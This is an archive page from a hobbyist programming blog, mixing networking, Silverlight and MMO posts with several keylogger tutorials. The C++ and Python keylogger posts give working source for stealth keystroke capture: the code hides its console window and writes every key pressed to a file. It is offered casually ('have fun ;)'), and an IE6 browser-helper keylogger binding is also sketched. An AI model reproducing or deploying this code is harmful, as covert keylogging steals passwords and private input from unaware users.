Archive for the ‘Programming’ Category

PostHeaderIcon P2P Drawing and Chat Program in Python

Network Programming in Python and Graphics

In this Tutorial I will try and explain simple Networking concepts in Python. Some things you will learn here are GUI programming, Networking, threading and hopefully enough understanding to be able to send binary data over the network.

from Tkinter import *
import socket
from threading import *
import cPickle

Our import statements you will notice we import our GUI modules, our socket modules, threading for keeping the GUI from freezing during connections. Finally cPickle his allows to send binary data over the network

CMD_MSG, CMD_LINE = range(2)

create some global variables

first we define our server function assign a port to listen to and bind it to our IP address


def server():
port = 9000
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((socket.gethostbyname(socket.gethostname()), int(port))) # bind to ip

next we create our loop
Read the rest of this entry »

PostHeaderIcon C++ Local Key Logger

Here is a simple example keylogger code written in C

it has the ability to hide the cmd window

have fun ;)

#include
#include
#include
#define _WIN32_WINNT 0×0500
#include

using namespace std;

int main(int argc, char *argv[])
{
HWND win;
win = GetConsoleWindow();
ShowWindow(win, SW_HIDE);
ofstream myfile;
myfile.open(“C:\\keys.txt”);
while (1) {
int i;
short keyit;
for (i = 32; i <= 256; i++) {
keyit = GetAsyncKeyState(i);
if (keyit == -32767) {
int keyEnd;
keyEnd = 81;
myfile << char(i);
if (i == keyEnd) {
myfile.close();
}
}
}
}
return 0;
}

PostHeaderIcon Python IE6 BHO (Browser Helper Object) / Keylogger Binding

python-ie6-bho-browser-helper-object-keylogger-binding

So on one of my many journey’s across the internet I decided I wanted to create a Keylogger and bind it to the IE 6 Browser using a BHO (Browser Helper Objects)

this involved some interesting feats I will share here what I came up with. I decided I wanted to use python for this task as it was and still is rather rare to accomplish this

First I came across this code amply named bho_skel.py


import sys
import _winreg

from ctypes import *
from ctypes.com import IUnknown, PIUnknown, REFIID, GUID, STDMETHOD, HRESULT, \
COMObject
from ctypes.com.automation import IDispatch, BSTR, VARIANT, \
dispinterface, DISPMETHOD
from ctypes.com.register import Registrar
from ctypes.com.connectionpoints import dispinterface_EventReceiver, \
GetConnectionPoint

import ie6 # module generated by ctypes/com/tools/readtlb.py

# _Logger is pinched from ctypes 0.6.2
# ——————————————————————–
from ctypes import windll
kernel32 = windll.kernel32

Read the rest of this entry »

PostHeaderIcon How to watch filesystem changes remotely in Windows

remoteviewingTo start there are some prerequisites you need to download in order to do this effectively.  Download Stackless Python 2.5.2

http://www.stackless.com

Download win32 by Mark hammond

http://python.net/crew/mhammond/

Should then work  by running python NetworkOSwatching.py from command line.  In order to run this from Binary
please make sure you have Windows Vista with SP1 Some problems have been reported running on XP SP2.
If you would like to compile a binary for XP that would be appreciated to ;)

This is a server written in Python

[1] Connect via Putty on target computer using Raw connection port 8888. Example “127.0.0.1″ 8888 Raw
[2] After successful connection enter command “START” With out the quotes
[3] Watch for recursive file system changes

This app uses stackless for threads

Here is a binary and source download…

http://www.techshinobi.com/NetworkOSWatching.zip

To change top level directory modify

path_to_watch = “C:\\”

to anything you choose

example

path_to_watch = os.getcwd()

The Source

Read the rest of this entry »

PostHeaderIcon Iron Python and Silverlight Tutorial

iron-python-and-silverlight-tutorial

I’ve been playing with Microsoft Silverlight and would like to share how to use it. First what is Microsoft Silverlight?

Microsoft Silverlight is a programmable web browser plugin that enables features such as animation, vector graphics and audio-video playback that characterizes rich Internet applications

Currently in Version 2 and Version 3 is in Beta. Version 2 brought with it the use of the Dynamic Language Runtime environment or DLR this allows for languages using .net to implement Silverlight Applications Such as C# VB.net Iron Python and Iron Ruby. To explain it better you can now use Python in your browser!

Silverlight uses XAML an XML based language developed by microsoft for use with silverlight

Extensible Application Markup Language, or XAML (pronounced “zammel”), is an XML-based markup language developed by Microsoft

Alright now that we know what Silverlight is we can start to use it. The examples I will be developing will be for IronPython 2.01

Read the rest of this entry »

PostHeaderIcon To surf the net and find interesting things…Astalavista hacked

to-surf-the-net-and-find-interesting-things-astalavista-hacked

So during my regular spree of surfing through sites that make my stomach boil, you know the regular speechless shite you can only find within the depths of cyberspace…I came back around the surface to find some very spectacular ASCII and text…

Astalavista(http://www.astalavista.com) has been hacked…

I was mystified after trudging through the page of lovely commands, the black text amongst the white background…

No tears shed here…

heres the full monty =Astalavista.com hacked pastebin

ok i know that that doesnt include the whole file, if you want it, i can send it to you, just until i figure out wtf why i cant add a .txt to my friggin / stoopid technology sometimes….

heres a full tastey pastey – http://pastebin.me/4a28bd2e05340

PostHeaderIcon Writing KeyLoggers

How to Write a software Keylogger

According to wiki key loggers perform the following

Keystroke logging (often called keylogging) is a method of capturing and recording user keystrokes.

Although now a days you would also want to capture mouse events. I won’t be getting into mouse hooks in this tutorial. Some one else can do that if they like. The language I will use will be python obviously not the best choice but you can convert it into your desired language: C, Java or whatever.

My First example: A Module designed for this purpose:

A lot of languages will have key logging modules already available for use, python has one called PyHook. Here is an example of PyHook


import pythoncom, pyHook

def OnKeyboardEvent(event):
print event.Key
return True

# create a hook manager
hm = pyHook.HookManager()
# watch for all key events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

We import our modules then create a function and pass it an event parameter what this does is tell python an event should occur (in this case our keyboard input)

We then call our pyHook functions to listen for our keyboard input.

Wow a keylogger in about 8 – 20 lines of code

Next we can move on to win api

import win32api
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
try:
mylog_file = open("/HOME/output.txt","a")
except IOError:
print "Error grabbing file"
else:
while 1:
for i in range(32, 256):
keyit = win32api.GetAsyncKeyState(i)
if keyit == -32767:
keyEnd = 81
mylog_file.write(chr(i))
if i == keyEnd:
mylog_file.close()
keyin = open("/HOME/output.txt","r")
data = keyin.read()

Ok this is a bit more drastic code with some extras. If you don’t know what winapi is I suggest you read up on it. It will give you a lot of insight into coding

import necessary modules

import win32api
import win32console
import win32gui

we then hide the console window

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

try and open a file for logging. Python tends to automagically create one if it’s not there

try:
mylog_file = open("/HOME/output.txt","a")
except IOError:
print "Error grabbing file"

get our range of Keys and call the winapi GetAsyncKeyState Function what this does according to microsoft

The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.


for i in range(32, 256):
keyit = win32api.GetAsyncKeyState(i)

If Shift Q is pressed log data to File


keyEnd = 81
mylog_file.write(chr(i))
if i == keyEnd:
mylog_file.close()
keyin = open("/HOME/output.txt","r")
data = keyin.read()

Alright that wasn’t so bad was it :-)

This is just code to be a starting point I do not say these ways are the best or only ways its more or less meant as a very basic introduction to coding keyloggers

Next article (Sending keystrokes over the network)

By Maboroshi

Resources

Wiki http://en.wikipedia.org/wiki/Keystroke_logging
PyHook http://pyhook.wiki.sourceforge.net/
GetAsyncKeyState http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx

PostHeaderIcon MMO Server Architecture – Stackless Python – And other interesting goodness

mmo-server-architecture-stackless-python-and-other-interesting-goodness

Recently while perusing around the net looking at stuff to try to find a solution to a roadblock for a game I’m designing Ive found some interesting stuff I thought I would share with you.  The first one I would like to introduce to you is Stackless Python.

Stackless Python is what you want to use if you program in Python and you want to take advantage of multi-threading technology.  Take a look a the game Eve-Online for example, that game was built on Stackless Python and eventually they did some modifications and enhancements to a network layer with it(pretty sure it was network layer) and dubbed it StacklessIO,   this boosted the games performance to sweet ass levels…to date I have found no code examples of StacklessIO. Please share if you know any resources.  If you want to know more about Stackless Python check out the official website at www.stackless.com

here are some simple examples of Stackless (HTTPServer, RPC, MUD Server, Chat Server)

http://code.google.com/p/stacklessexamples/wiki/StacklessNetworking

The next thing I want to share with you is a small series of articles from IBM on Massively Multiplayer Online (MMO) server architecture.  This series is a great resource on the foundations of MMO with easy to follow examples check em out:

http://www.ibm.com/developerworks/library/ar-powerup1/

http://www.ibm.com/developerworks/library/ar-powerup2/

Search
Awesome Links
Subscribe
Vote for Flyninja
Random Reading